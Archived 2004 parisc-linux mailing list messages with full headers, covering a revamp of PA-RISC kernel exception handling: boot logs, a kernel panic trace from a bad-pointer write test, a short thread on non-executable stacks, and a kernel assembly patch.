EISA: Probing bus 0 at parisc8:20:5
EISA: Mainboard HWPC0E1 detected.
EISA: Detected 0 cards.
SCSI subsystem initialized
STI GSC/PCI core graphics driver Version 0.9a
id 2b4ded6d-40a00499, conforms to spec rev. 8.04
graphics card name: HPA208LC1024
fb0: stifb 1024x768-8 frame buffer device, HPA208LC1024, id: 2b4ded6d, mmio: 0x0
unwind_init: start = 0x103f2a20, end = 0x10415be0, entries = 8988
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
Initializing Cryptographic API
Soft power switch enabled, polling @ 0xf0140000.
Console: switching to colour frame buffer device 128x48
lp: driver loaded but no devices found
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 13 ports, IRQ sharing enabled
ttyS0 at MMIO 0xffd05800 (irq = 90) is a 16550A
ttyS1 at MMIO 0xffe02800 (irq = 121) is a 16550A
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
lp0: using parport0 (interrupt-driven).
loop: loaded (max 8 devices)
LASI 82596 driver - Revision: 1.30
Found i82596 at 0xffd07000, IRQ 87
eth0: 82596 at 0xffd07000, 00 60 B0 07 1E EA IRQ 87.
zalon_probe: Zalon vers field is 0x1, IRQ 35
ncr53c720-0: rev 0xf irq 35
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3f
[...]

now with 2.6.9-rc2-pa1 + revamping patch I get only and the near same config file (I just copy the old and 'make oldconfig'):

Selected kernel: /vmlinux-2.6.9-rc2-pa1UP32-c110 from partition 3
ELF32 executable
Entry 00100158 first 00100000 n 3
Segment 0 load 00100000 size 2916992 mediaptr 0x1000
Segment 1 load 003c9000 size 541536 mediaptr 0x2ca000
Segment 2 load 00450000 size 413848 mediaptr 0x34f000
Branching to kernel entry point 0x00100158.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org
				<<<<<<<< ??
device: ID = 'ptywd'
lp: driver loaded but no devices found
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 13 ports, IRQ sharing enabled
ttyS0 at MMIO 0xffd05800 (irq = 90) is a 16550A
ttyS1 at MMIO 0xffe02800 (irq = 121) is a 16550A
[...]

I doubt it has any relationship with tausq patch.
Is it a new feature: silent boot (ala hpux :) )?

Thanks in advance for your attention,
	Joel

PS: fwiw nothing more seems to be logged in dmesg, kernel.log, syslog?
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Revamp exception handling in the kernel
Date: Tue, 14 Sep 2004 18:52:45 +0000
Lines: 79
Approved: news@gmane.org
Message-ID: <41473DFD.7070302@tiscali.be>
References: <20040911165325.GO28659@tausq.org>	<20040913233742.GW28659@tausq.org>
	<20040914023706.GX28659@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623557 11066 80.91.229.3 (22 Nov 2014 02:32:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:37 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 6685 invoked by uid 65534); 14 Sep 2004 18:51:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx025) with SMTP; 14 Sep 2004 20:51:09 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DBC2F3BE20; Tue, 14 Sep 2004 12:51:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31375-10; Tue, 14 Sep 2004 12:51:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8CB053BE1C; Tue, 14 Sep 2004 12:50:55 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8960F3BDE6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Sep 2004 12:50:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 31375-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Sep 2004 12:50:49 -0600 (MDT)
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by free.linux.hp.com (Postfix) with ESMTP id DEB6E3BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Sep 2004 12:50:48 -0600 (MDT)
Original-Received: from [83.134.225.131] (helo=[83.134.225.131])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1C7IO7-0000wH-Hu; Tue, 14 Sep 2004 20:50:47 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.2) Gecko/20040820 Debian/1.7.2-4
X-Accept-Language: en
In-Reply-To: <20040914023706.GX28659@tausq.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21990



Randolph Chung wrote:
> Version 2a of the patch. Changes from the previous version:
> 
> - Fixed the comment in uaccess.h, added some more comments to fixup.S
> - Added missing r1 clobbers
> - addil/ldd should be relative to r27, not r1
> 
> i found out this is a somewhat effective way of testing this patch:
> 
> - run "make vmlinux" (or make -j4 vmlinux) in one window
> - run "while true; do ./wtest; sleep 30; done" in another window
> 
> wtest is compiled from:
> -------------------8< cut here 8<--------------------
> #include <stdio.h>
> #include <unistd.h>
> #include <errno.h>
> 
> int main(int argc, char **argv)
> {
>         char *buf = (char *)1;
>         int ret;
> 
>         ret = write(fileno(stdout), buf, 10);
>         printf("write returned ret = %d, errno = %d\n", ret, errno);
> 
>         return 0;
> }
> 
> -------------------8< cut here 8<--------------------
> 
[...]
mmm, just running wtest and:
applying fixup for 0x10100350, fixup at 0x1038e1d8
Backtrace:
  [<1024fee0>] opost_block+0x58/0x1f8
  [<10252d84>] write_chan+0x204/0x2a8
  [<1024c02c>] tty_write+0x260/0x32c
  [<1017d6b0>] vfs_write+0x100/0x148
  [<1017d7fc>] sys_write+0x5c/0xa8
  [<10110178>] syscall_exit+0x0/0x14


Kernel Fault: Code=26 regs=2a9fc3c0 (Addr=00000001)

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001111 Not tainted
r00-03  00000000 00000aa0 1024fee0 0000000a
r04-07  2cb89000 00000001 2cb89000 2cc95320
r08-11  00000000 00000001 00000000 2cb89948
r12-15  00000001 00000000 000aa000 000eae68
r16-19  000eaf08 000eab48 00000000 00000000
r20-23  30000001 00000fff 00000001 00000000
r24-27  0000000a 00000001 2a9fc312 103ef010
r28-31  00000fff 00000000 2a9fc3c0 102540d8
sr0-3   00000000 00000aa0 00000000 00000aa0
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10100320 10100324
  IIR: 0f221021    ISR: 00000000  IOR: 00000001
  CPU:        0   CR30: 2a9fc000 CR31: 10454000
  ORIG_R28: 00000000
  IAOQ[0]: $lctu_loop+0x0/0xc
  IAOQ[1]: $lctu_loop+0x4/0xc
  RP(r2): opost_block+0x58/0x1f8
Kernel panic - not syncing: Kernel Fault

Is panic awaited?

TIA,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Non-executable stack?
Date: Tue, 14 Sep 2004 15:36:01 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200409141936.i8EJa1Yq021565@hiauly1.hia.nrc.ca>
References: <20040912161009.GQ28659@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623557 11068 80.91.229.3 (22 Nov 2014 02:32:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18094 invoked by uid 65534); 14 Sep 2004 19:36:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx011) with SMTP; 14 Sep 2004 21:36:51 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4A4423BE40; Tue, 14 Sep 2004 13:36:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32467-02; Tue, 14 Sep 2004 13:36:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 50F183BE33; Tue, 14 Sep 2004 13:36:10 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BEFB93BE20
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Sep 2004 13:36:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 32325-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Sep 2004 13:36:05 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 435553BE1C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Sep 2004 13:36:05 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i8EJa245021566; Tue, 14 Sep 2004 15:36:02 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i8EJa1Yq021565;
	Tue, 14 Sep 2004 15:36:01 -0400 (EDT)
In-Reply-To: <20040912161009.GQ28659@tausq.org> from "Randolph Chung" at Sep
	12, 2004 12:10:09 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21991

> > Can we have a non-executable stack on PA?
> > 
> > Why or why not?
> 
> Do you mean on the architecture? Yes, you can. afaik, hpux has a 
> non-executable stack.

While a non-executable stack can be used on hpux, it's not the default.

GCC currently needs an executable stack for calling nested functions
on both linux and hpux.  See the trampoline macros in pa.h.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Non-executable stack?
Date: Tue, 14 Sep 2004 15:56:22 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20040914195621.GL9763@baldric.uwo.ca>
References: <20040912161009.GQ28659@tausq.org>
	<200409141936.i8EJa1Yq021565@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623558 11070 80.91.229.3 (22 Nov 2014 02:32:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 32414 invoked by uid 65534); 14 Sep 2004 19:57:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx011) with SMTP; 14 Sep 2004 21:57:02 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5354D3BE33; Tue, 14 Sep 2004 13:56:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32325-09; Tue, 14 Sep 2004 13:56:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E2FE53BE54; Tue, 14 Sep 2004 13:56:38 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C723F3BE33
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Sep 2004 13:56:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 32467-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Sep 2004 13:56:32 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id F20A13BE1C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Sep 2004 13:56:31 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C7JPa-0007jf-00; Tue, 14 Sep 2004 15:56:22 -0400
Content-Disposition: inline
In-Reply-To: <200409141936.i8EJa1Yq021565@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (40% Sync Ratio [====......])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21992

> While a non-executable stack can be used on hpux, it's not the default.
> 
> GCC currently needs an executable stack for calling nested functions
> on both linux and hpux.  See the trampoline macros in pa.h.

Moving signal return trampolines off the stack is a first step at
getting a working non-executable stack.

The idea of having a vDSO is very cool IMO, especially since it solves
our problems with having to detect LWS CAS... which normally crashes the
old kernels. One could also define a new sysconf() variable and rely on 
that.

Opinions?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Revamp exception handling in the kernel
Date: Tue, 14 Sep 2004 18:36:56 -0400
Lines: 841
Approved: news@gmane.org
Message-ID: <20040914223655.GP9763@baldric.uwo.ca>
References: <20040914160613.GA28659@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623558 11072 80.91.229.3 (22 Nov 2014 02:32:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 3886 invoked by uid 65534); 14 Sep 2004 22:37:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx005) with SMTP; 15 Sep 2004 00:37:32 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 620EA3BE22; Tue, 14 Sep 2004 16:37:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01278-08; Tue, 14 Sep 2004 16:37:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 451CB3BE58; Tue, 14 Sep 2004 16:37:11 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A16233BE40
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Sep 2004 16:37:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 01278-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Sep 2004 16:37:03 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id BDB0A3BE22
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 14 Sep 2004 16:37:02 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C7Luy-0008Ge-00; Tue, 14 Sep 2004 18:36:56 -0400
Content-Disposition: inline
In-Reply-To: <20040914160613.GA28659@tausq.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (40% Sync Ratio [====......])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21993

On Tue, Sep 14, 2004 at 09:06:13AM -0700, Randolph Chung wrote:
> then..... i don't particular like this change (inline to macro). was
> hoping that it will fix some compile warnings, but it introduces other
> ones :(

This works for me on 32-bit (c3k, latest cvs head) + patches.
Passes my multi-kill-kernel and test-lws tests, along with a kernel
build. It includes my changes for LWS.

I say it's good to checkin.

c.

Index: arch/parisc/kernel/asm-offsets.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/asm-offsets.c,v
retrieving revision 1.10
diff -u -p -r1.10 asm-offsets.c
--- arch/parisc/kernel/asm-offsets.c	13 Sep 2004 15:22:24 -0000	1.10
+++ arch/parisc/kernel/asm-offsets.c	14 Sep 2004 22:30:09 -0000
@@ -38,6 +38,7 @@
 #include <asm/ptrace.h>
 #include <asm/processor.h>
 #include <asm/pdc.h>
+#include <asm/uaccess.h>
 
 #define DEFINE(sym, val) \
 	asm volatile("\n->" #sym " %0 " #val : : "i" (val))
@@ -291,5 +292,8 @@ int main(void)
 	DEFINE(ASM_PT_INITIAL, PT_INITIAL);
 	DEFINE(ASM_PAGE_SIZE, PAGE_SIZE);
 	BLANK();
+	DEFINE(EXCDATA_IP, offsetof(struct exception_data, fault_ip));
+	DEFINE(EXCDATA_SPACE, offsetof(struct exception_data, fault_space));
+	DEFINE(EXCDATA_ADDR, offsetof(struct exception_data, fault_addr));
 	return 0;
 }
Index: arch/parisc/kernel/syscall.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/syscall.S,v
retrieving revision 1.14
diff -u -p -r1.14 syscall.S
--- arch/parisc/kernel/syscall.S	10 Sep 2004 14:52:01 -0000	1.14
+++ arch/parisc/kernel/syscall.S	14 Sep 2004 22:30:09 -0000
@@ -29,6 +29,19 @@
 #else
 	.level		1.1
 #endif
+
+#ifndef __LP64__
+	.macro fixup_branch,lbl
+	b	    \lbl
+	.endm
+#else
+	.macro fixup_branch,lbl
+	ldil	    L%\lbl, %r1
+	ldo	    R%\lbl(%r1), %r1
+	bv,n        %r0(%r1)
+	.endm
+#endif
+
 	.text
 
 	.import syscall_exit,code
@@ -575,10 +588,7 @@ cas_action:
 	/* Return to userspace, set no error */
 	b	lws_exit
 	copy	%r0, %r21
-	nop	/* Add some visual space in objdump */
-	nop
-	nop
-	nop
+
 3:		
 	/* Error occured on load or store */
 #ifdef CONFIG_SMP
@@ -596,15 +606,16 @@ cas_action:
 	nop
 
 	/* Two exception table entries, one for the load,
-	   the other for the store. Either return -EFAULT */
+	   the other for the store. Either return -EFAULT.
+	   Each of the entries must be relocated. */
 	.section __ex_table,"aw"
 #ifdef __LP64__
 	/* Pad the address calculation */
 	.word	0,(2b - linux_gateway_page)
-	.dword	(3b - 2b) 
+	.word	0,(3b - linux_gateway_page)
 #else
-	.word	2b - linux_gateway_page
-	.word	(3b - 2b) 
+	.word	(2b - linux_gateway_page)
+	.word	(3b - linux_gateway_page)
 #endif
 	.previous
 
@@ -612,10 +623,10 @@ cas_action:
 #ifdef __LP64__
 	/* Pad the address calculation */
 	.word	0,(1b - linux_gateway_page)
-	.dword	(3b - 1b) 
+	.word	0,(3b - linux_gateway_page)
 #else
-	.word	1b - linux_gateway_page
-	.word	(3b - 1b) 
+	.word	(1b - linux_gateway_page)
+	.word	(3b - linux_gateway_page)
 #endif
 	.previous
 
Index: arch/parisc/kernel/unaligned.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/unaligned.c,v
retrieving revision 1.8
diff -u -p -r1.8 unaligned.c
--- arch/parisc/kernel/unaligned.c	21 Aug 2004 06:19:33 -0000	1.8
+++ arch/parisc/kernel/unaligned.c	14 Sep 2004 22:30:09 -0000
@@ -23,6 +23,7 @@
 #include <linux/config.h>
 #include <linux/kernel.h>
 #include <linux/module.h>
+#include <asm/uaccess.h>
 
 /* #define DEBUG_UNALIGNED 1 */
 
@@ -34,8 +35,14 @@
 
 #ifdef __LP64__
 #define RFMT "%016lx"
+#define FIXUP_BRANCH(lbl) \
+	"\tb " #lbl "\n"
 #else
 #define RFMT "%08lx"
+#define FIXUP_BRANCH(lbl) \
+	"\tldil L%%" #lbl ", %%r1\n"			\
+	"\tldo R%%" #lbl "(%%r1), %%r1\n"		\
+	"\tbv,n %%r0(%%r1)\n"
 #endif
 
 /* 1111 1100 0000 0000 0001 0011 1100 0000 */
@@ -134,15 +141,19 @@ static int emulate_ldh(struct pt_regs *r
 "1:	ldbs	0(%%sr1,%3), %%r20\n"
 "2:	ldbs	1(%%sr1,%3), %0\n"
 "	depw	%%r20, 23, 24, %0\n"
-"	cmpclr,= %%r0, %%r0, %1\n"
-"3:	ldo	-2(%%r0), %1\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %1\n"
+"3:	\n"
+"	.section .fixup,\"ax\"\n"
+"4:	ldi	-2, %1\n"
+	FIXUP_BRANCH(3b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(3b-1b)\n"
-"	.dword  2b,(3b-2b)\n"
